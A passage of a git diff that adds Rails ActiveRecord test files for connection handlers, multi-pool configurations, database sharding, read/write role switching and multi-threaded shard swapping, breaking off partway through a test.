+      def test_default_handlers_are_writing_and_reading
+        assert_equal :writing, ActiveRecord.writing_role
+        assert_equal :reading, ActiveRecord.reading_role
+      end
+
+      def test_an_application_can_change_the_default_handlers
+        old_writing = ActiveRecord.writing_role
+        old_reading = ActiveRecord.reading_role
+        ActiveRecord.writing_role = :default
+        ActiveRecord.reading_role = :readonly
+
+        assert_equal :default, ActiveRecord.writing_role
+        assert_equal :readonly, ActiveRecord.reading_role
+      ensure
+        ActiveRecord.writing_role = old_writing
+        ActiveRecord.reading_role = old_reading
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handlers_multi_pool_config_test.rb b/activerecord/test/cases/connection_adapters/connection_handlers_multi_pool_config_test.rb
new file mode 100644
index 0000000000000..8480eb3260ead
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_handlers_multi_pool_config_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionHandlersMultiPoolConfigTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
+      fixtures :people
+
+      def setup
+        @handler = ConnectionHandler.new
+      end
+
+      def teardown
+        clean_up_connection_handler
+      end
+
+      unless in_memory_db?
+        def test_establish_connection_with_pool_configs
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          @handler.establish_connection(:primary)
+          @handler.establish_connection(:primary, shard: :pool_config_two)
+
+          default_pool = @handler.retrieve_connection_pool("primary", shard: :default)
+          other_pool = @handler.retrieve_connection_pool("primary", shard: :pool_config_two)
+
+          assert_not_nil default_pool
+          assert_not_equal default_pool, other_pool
+
+          # :default if passed with no key
+          assert_equal default_pool, @handler.retrieve_connection_pool("primary")
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_remove_connection
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          @handler.establish_connection(:primary)
+          @handler.establish_connection(:primary, shard: :pool_config_two)
+
+          # remove default
+          @handler.remove_connection_pool("primary")
+
+          assert_nil @handler.retrieve_connection_pool("primary")
+          assert_not_nil @handler.retrieve_connection_pool("primary", shard: :pool_config_two)
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_connected?
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          @handler.establish_connection(:primary)
+          @handler.establish_connection(:primary, shard: :pool_config_two)
+
+          # connect to default
+          @handler.connection_pool_list(:writing).first.checkout.connect!
+
+          assert @handler.connected?("primary")
+          assert @handler.connected?("primary", shard: :default)
+          assert_not @handler.connected?("primary", shard: :pool_config_two)
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ENV["RAILS_ENV"] = previous_env
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handlers_sharding_db_test.rb b/activerecord/test/cases/connection_adapters/connection_handlers_sharding_db_test.rb
new file mode 100644
index 0000000000000..5ae04f3428bac
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_handlers_sharding_db_test.rb
@@ -0,0 +1,651 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionHandlersShardingDbTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
+      fixtures :people
+
+      def teardown
+        clean_up_connection_handler
+      end
+
+      unless in_memory_db?
+        def test_establishing_a_connection_in_connected_to_block_uses_current_role_and_shard
+          ActiveRecord::Base.connected_to(role: :writing, shard: :shard_one) do
+            db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+            ActiveRecord::Base.establish_connection(db_config)
+            assert_nothing_raised { Person.first }
+
+            assert_equal [:default, :shard_one].sort, ActiveRecord::Base.connection_handler.send(:get_pool_manager, "ActiveRecord::Base").shard_names.sort
+          end
+        end
+
+        def test_establish_connection_using_3_levels_config
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :primary, reading: :primary },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one }
+          })
+
+          base_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base")
+          default_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", shard: :default)
+
+          assert_equal [:default, :shard_one], ActiveRecord::Base.connection_handler.send(:get_pool_manager, "ActiveRecord::Base").shard_names
+          assert_equal base_pool, default_pool
+          assert_equal "test/db/primary.sqlite3", default_pool.db_config.database
+          assert_equal "primary", default_pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", shard: :shard_one)
+          assert_equal "test/db/primary_shard_one.sqlite3", pool.db_config.database
+          assert_equal "primary_shard_one", pool.db_config.name
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_establish_connection_using_3_levels_config_with_shards_and_replica
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          default_writing_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", shard: :default)
+          base_writing_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal base_writing_pool, default_writing_pool
+          assert_equal "test/db/primary.sqlite3", default_writing_pool.db_config.database
+          assert_equal "primary", default_writing_pool.db_config.name
+
+          default_reading_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading, shard: :default)
+          base_reading_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading)
+          assert_equal base_reading_pool, default_reading_pool
+          assert_equal "test/db/primary.sqlite3", default_reading_pool.db_config.database
+          assert_equal "primary_replica", default_reading_pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", shard: :shard_one)
+          assert_equal "test/db/primary_shard_one.sqlite3", pool.db_config.database
+          assert_equal "primary_shard_one", pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading, shard: :shard_one)
+          assert_equal "test/db/primary_shard_one.sqlite3", pool.db_config.database
+          assert_equal "primary_shard_one_replica", pool.db_config.name
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        class IntegerKeysBase < ActiveRecord::Base
+          self.abstract_class = true
+        end
+
+        def test_establish_connection_using_3_levels_config_with_integer_keys
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+          default_shard_was = ActiveRecord::Base.default_shard
+          ActiveRecord::Base.default_shard = 0
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one_replica.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          IntegerKeysBase.connects_to(shards: {
+            0 => { writing: :primary, reading: :primary },
+            1 => { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          connection_description_name = "ActiveRecord::ConnectionAdapters::ConnectionHandlersShardingDbTest::IntegerKeysBase"
+          base_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(connection_description_name)
+          default_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(connection_description_name, shard: 0)
+
+          assert_equal [0, 1], ActiveRecord::Base.connection_handler.send(:get_pool_manager, connection_description_name).shard_names
+          assert_equal base_pool, default_pool
+          assert_equal "test/db/primary.sqlite3", default_pool.db_config.database
+          assert_equal "primary", default_pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(connection_description_name, shard: 1)
+          assert_equal "test/db/primary_shard_one.sqlite3", pool.db_config.database
+          assert_equal "primary_shard_one", pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(connection_description_name, role: :reading, shard: 1)
+          assert_equal "test/db/primary_shard_one_replica.sqlite3", pool.db_config.database
+          assert_equal "primary_shard_one_replica", pool.db_config.name
+
+          IntegerKeysBase.connected_to(shard: 1) do
+            assert_includes IntegerKeysBase.lease_connection.select_value("SELECT file FROM pragma_database_list;"), "primary_shard_one.sqlite3"
+          end
+
+          IntegerKeysBase.connected_to(role: :reading, shard: 1) do
+            assert_includes IntegerKeysBase.lease_connection.select_value("SELECT file FROM pragma_database_list;"), "primary_shard_one_replica.sqlite3"
+          end
+
+          assert_raises(ActiveRecord::ConnectionNotDefined) do
+            IntegerKeysBase.connected_to(shard: 2) do
+              IntegerKeysBase.lease_connection.select_value("SELECT file FROM pragma_database_list;")
+            end
+          end
+        ensure
+          ActiveRecord::Base.default_shard = default_shard_was
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_switching_connections_via_handler
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          ActiveRecord::Base.connected_to(role: :reading, shard: :default) do
+            assert_equal :reading, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :reading, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one)
+            assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+
+          ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
+            assert_equal :writing, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :writing, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+
+          ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
+            assert_equal :reading, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :default)
+            assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+
+          ActiveRecord::Base.connected_to(role: :writing, shard: :shard_one) do
+            assert_equal :writing, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading, shard: :default)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :default)
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_retrieves_proper_connection_with_nested_connected_to
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
+            # Uses the correct connection
+            assert_equal "primary_shard_one_replica", ActiveRecord::Base.connection_pool.db_config.name
+
+            # Uses the shard currently in use
+            ActiveRecord::Base.connected_to(role: :writing) do
+              assert_equal "primary_shard_one", ActiveRecord::Base.connection_pool.db_config.name
+            end
+
+            # Allows overriding the shard as well
+            ActiveRecord::Base.connected_to(role: :reading, shard: :default) do
+              assert_equal "primary_replica", ActiveRecord::Base.connection_pool.db_config.name
+            end
+
+            # Resets correctly
+            assert_equal "primary_shard_one_replica", ActiveRecord::Base.connection_pool.db_config.name
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        class SecondaryBase < ActiveRecord::Base
+          self.abstract_class = true
+        end
+
+        def test_connected_to_raises_without_a_shard_or_role
+          error = assert_raises(ArgumentError) do
+            ActiveRecord::Base.connected_to { }
+          end
+          assert_equal "must provide a `shard` and/or `role`.", error.message
+        end
+
+        def test_connects_to_raises_with_a_shard_and_database_key
+          error = assert_raises(ArgumentError) do
+            ActiveRecord::Base.connects_to(database: { writing: :arunit }, shards: { shard_one: { writing: :arunit } })
+          end
+          assert_equal "`connects_to` can only accept a `database` or `shards` argument, but not both arguments.", error.message
+        end
+
+        def test_retrieve_connection_pool_with_invalid_shard
+          assert_not_nil ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_nil ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", shard: :foo)
+        end
+
+        def test_calling_connected_to_on_a_non_existent_shard_raises
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :arunit, reading: :arunit }
+          })
+
+          error = assert_raises ActiveRecord::ConnectionNotDefined do
+            ActiveRecord::Base.connected_to(role: :reading, shard: :foo) do
+              Person.first
+            end
+          end
+
+          assert_equal "No database connection defined for 'foo' shard and 'reading' role.", error.message
+          assert_equal "ActiveRecord::Base", error.connection_name
+          assert_equal :foo, error.shard
+          assert_equal :reading, error.role
+        end
+
+        def test_calling_connected_to_on_a_non_existent_role_for_shard_raises
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :arunit, reading: :arunit },
+            shard_one: { writing: :arunit, reading: :arunit }
+          })
+
+          error = assert_raises ActiveRecord::ConnectionNotDefined do
+            ActiveRecord::Base.connected_to(role: :non_existent, shard: :shard_one) do
+              Person.first
+            end
+          end
+
+          assert_equal "No database connection defined for 'shard_one' shard and 'non_existent' role.", error.message
+          assert_equal "ActiveRecord::Base", error.connection_name
+          assert_equal :shard_one, error.shard
+          assert_equal :non_existent, error.role
+        end
+
+        def test_calling_connected_to_on_a_default_role_for_non_existent_shard_raises
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :arunit, reading: :arunit }
+          })
+
+          error = assert_raises ActiveRecord::ConnectionNotDefined do
+            ActiveRecord::Base.connected_to(shard: :foo) do
+              Person.first
+            end
+          end
+
+          assert_equal "No database connection defined for 'foo' shard.", error.message
+          assert_equal "ActiveRecord::Base", error.connection_name
+          assert_equal :foo, error.shard
+          assert_equal :writing, error.role
+        end
+
+        def test_cannot_swap_shards_while_prohibited
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: {
+            default: { writing: :primary },
+            shard_one: { writing: :primary_shard_one }
+          })
+
+          assert_raises(ShardSwapProhibitedError) do
+            ActiveRecord::Base.prohibit_shard_swapping do
+              ActiveRecord::Base.connected_to(role: :reading, shard: :default) do
+              end
+            end
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_can_swap_roles_while_shard_swapping_is_prohibited
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(shards: { default: { writing: :primary, reading: :primary_replica } })
+
+          assert_nothing_raised do
+            ActiveRecord::Base.prohibit_shard_swapping do # no exception
+              ActiveRecord::Base.connected_to(role: :reading) do
+              end
+            end
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+      end
+
+      class SecondaryBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class ShardConnectionTestModel < SecondaryBase
+      end
+
+      class SomeOtherBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class ShardConnectionTestModelB < SomeOtherBase
+      end
+
+      def test_default_shard_is_chosen_by_first_key_or_default
+        SecondaryBase.connects_to shards: { not_default: { writing: { database: ":memory:", adapter: "sqlite3" } } }
+        SomeOtherBase.connects_to database: { writing: { database: ":memory:", adapter: "sqlite3" } }
+
+        assert_equal :not_default, SecondaryBase.default_shard
+        assert_equal :default, SomeOtherBase.default_shard
+      end
+
+      def test_same_shards_across_clusters
+        SecondaryBase.connects_to shards: { one: { writing: { database: ":memory:", adapter: "sqlite3" } } }
+        SomeOtherBase.connects_to shards: { one: { writing: { database: ":memory:", adapter: "sqlite3" } } }
+
+        ActiveRecord::Base.connected_to(role: :writing, shard: :one) do
+          ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+          ShardConnectionTestModel.create!(shard_key: "test_model_default")
+
+          ShardConnectionTestModelB.lease_connection.execute("CREATE TABLE `shard_connection_test_model_bs` (shard_key VARCHAR (255))")
+          ShardConnectionTestModelB.create!(shard_key: "test_model_b_default")
+
+          assert_equal "test_model_default", ShardConnectionTestModel.where(shard_key: "test_model_default").take.shard_key
+          assert_equal "test_model_b_default", ShardConnectionTestModelB.where(shard_key: "test_model_b_default").take.shard_key
+        end
+      end
+
+      def test_sharding_separation
+        SecondaryBase.connects_to shards: {
+          default: { writing: { database: ":memory:", adapter: "sqlite3" } },
+          one: { writing: { database: ":memory:", adapter: "sqlite3" } }
+        }
+
+        [:default, :one].each do |shard_name|
+          ActiveRecord::Base.connected_to(role: :writing, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+          end
+        end
+
+        # Create a record on :default
+        ShardConnectionTestModel.create!(shard_key: "foo")
+
+        # Make sure we can read it when explicitly connecting to :default
+        ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
+          assert ShardConnectionTestModel.find_by_shard_key("foo")
+        end
+
+        # Switch to shard and make sure we can't read the record from :default
+        # Also add a new record on :one
+        ActiveRecord::Base.connected_to(role: :writing, shard: :one) do
+          assert_not ShardConnectionTestModel.find_by_shard_key("foo")
+          ShardConnectionTestModel.create!(shard_key: "bar")
+        end
+
+        # Make sure we can't read the record from :one but can read the record
+        # from :default
+        assert_not ShardConnectionTestModel.find_by_shard_key("bar")
+        assert ShardConnectionTestModel.find_by_shard_key("foo")
+      end
+
+      def test_swapping_shards_globally_in_a_multi_threaded_environment
+        tf_default = Tempfile.open "shard_key_default"
+        tf_shard_one = Tempfile.open "shard_key_one"
+
+        SecondaryBase.connects_to shards: {
+          default: { writing: { database: tf_default.path, adapter: "sqlite3" } },
+          one: { writing: { database: tf_shard_one.path, adapter: "sqlite3" } }
+        }
+
+        [:default, :one].each do |shard_name|
+          ActiveRecord::Base.connected_to(role: :writing, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModel.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}')")
+          end
+        end
+
+        shard_one_latch = Concurrent::CountDownLatch.new
+        shard_default_latch = Concurrent::CountDownLatch.new
+
+        ShardConnectionTestModel.lease_connection
+
+        thread = Thread.new do
+          ShardConnectionTestModel.lease_connection
+
+          shard_default_latch.wait
+          assert_equal "shard_key_default", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          shard_one_latch.count_down
+        end
+
+        ActiveRecord::Base.connected_to(role: :writing, shard: :one) do
+          shard_default_latch.count_down
+          assert_equal "shard_key_one", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          shard_one_latch.wait
+        end
+
+        thread.join
+      ensure
+        tf_shard_one.close
+        tf_shard_one.unlink
+        tf_default.close
+        tf_default.unlink
+      end
+
+      def test_swapping_shards_and_roles_in_a_multi_threaded_environment
+        tf_default = Tempfile.open "shard_key_default"
+        tf_shard_one = Tempfile.open "shard_key_one"
+        tf_default_reading = Tempfile.open "shard_key_default_reading"
+        tf_shard_one_reading = Tempfile.open "shard_key_one_reading"
+
+        SecondaryBase.connects_to shards: {
+          default: { writing: { database: tf_default.path, adapter: "sqlite3" }, secondary: { database: tf_default_reading.path, adapter: "sqlite3" } },
+          one: { writing: { database: tf_shard_one.path, adapter: "sqlite3" }, secondary: { database: tf_shard_one_reading.path, adapter: "sqlite3" } }
+        }
+
+        [:default, :one].each do |shard_name|
+          ActiveRecord::Base.connected_to(role: :writing, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModel.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}')")
+          end
+
+          ActiveRecord::Base.connected_to(role: :secondary, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModel.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}_secondary')")
+          end
+        end
+
+        shard_one_latch = Concurrent::CountDownLatch.new
+        shard_default_latch = Concurrent::CountDownLatch.new
+
+        ShardConnectionTestModel.lease_connection
+
+        thread = Thread.new do
+          ShardConnectionTestModel.lease_connection
+
+          shard_default_latch.wait
+          assert_equal "shard_key_default", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          shard_one_latch.count_down
+        end
+
+        ActiveRecord::Base.connected_to(shard: :one, role: :secondary) do
+          shard_default_latch.count_down
+          assert_equal "shard_key_one_secondary", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          shard_one_latch.wait
+        end
+
+        thread.join
+      ensure
+        tf_shard_one.close
+        tf_shard_one.unlink
+        tf_default.close
+        tf_default.unlink
+        tf_shard_one_reading.close
+        tf_shard_one_reading.unlink
+        tf_default_reading.close
+        tf_default_reading.unlink
+      end
+
+      def test_swapping_granular_shards_and_roles_in_a_multi_threaded_environment
+        tf_default = Tempfile.open "shard_key_default"
+        tf_shard_one = Tempfile.open "shard_key_one"
+        tf_default_reading = Tempfile.open "shard_key_default_reading"
+        tf_shard_one_reading = Tempfile.open "shard_key_one_reading"
+        tf_default2 = Tempfile.open "shard_key_default2"
+        tf_shard_one2 = Tempfile.open "shard_key_one2"
+        tf_default_reading2 = Tempfile.open "shard_key_default_reading2"
+        tf_shard_one_reading2 = Tempfile.open "shard_key_one_reading2"
+
+        SecondaryBase.connects_to shards: {
+          default: { writing: { database: tf_default.path, adapter: "sqlite3" }, secondary: { database: tf_default_reading.path, adapter: "sqlite3" } },
+          one: { writing: { database: tf_shard_one.path, adapter: "sqlite3" }, secondary: { database: tf_shard_one_reading.path, adapter: "sqlite3" } }
+        }
+
+        SomeOtherBase.connects_to shards: {
+          default: { writing: { database: tf_default2.path, adapter: "sqlite3" }, secondary: { database: tf_default_reading2.path, adapter: "sqlite3" } },
+          one: { writing: { database: tf_shard_one2.path, adapter: "sqlite3" }, secondary: { database: tf_shard_one_reading2.path, adapter: "sqlite3" } }
+        }
+
+        [:default, :one].each do |shard_name|
+          ActiveRecord::Base.connected_to(role: :writing, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModel.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}')")
+            ShardConnectionTestModelB.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModelB.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}_b')")
+          end
+
+          ActiveRecord::Base.connected_to(role: :secondary, shard: shard_name) do
+            ShardConnectionTestModel.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModel.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}_secondary')")
+            ShardConnectionTestModelB.lease_connection.execute("CREATE TABLE `shard_connection_test_models` (shard_key VARCHAR (255))")
+            ShardConnectionTestModelB.lease_connection.execute("INSERT INTO `shard_connection_test_models` VALUES ('shard_key_#{shard_name}_secondary_b')")
+          end
+        end
+
+        shard_one_latch = Concurrent::CountDownLatch.new
+        shard_default_latch = Concurrent::CountDownLatch.new
+
+        ShardConnectionTestModel.lease_connection
+
+        thread = Thread.new do
+          ShardConnectionTestModel.lease_connection
+
+          shard_default_latch.wait
+          assert_equal "shard_key_default", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          assert_equal "shard_key_default_b", ShardConnectionTestModelB.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          shard_one_latch.count_down
+        end
+
+        SecondaryBase.connected_to(shard: :one, role: :secondary) do
+          shard_default_latch.count_down
+          assert_equal "shard_key_one_secondary", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          assert_equal "shard_key_default_b", ShardConnectionTestModelB.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+
+          SomeOtherBase.connected_to(shard: :one, role: :secondary) do
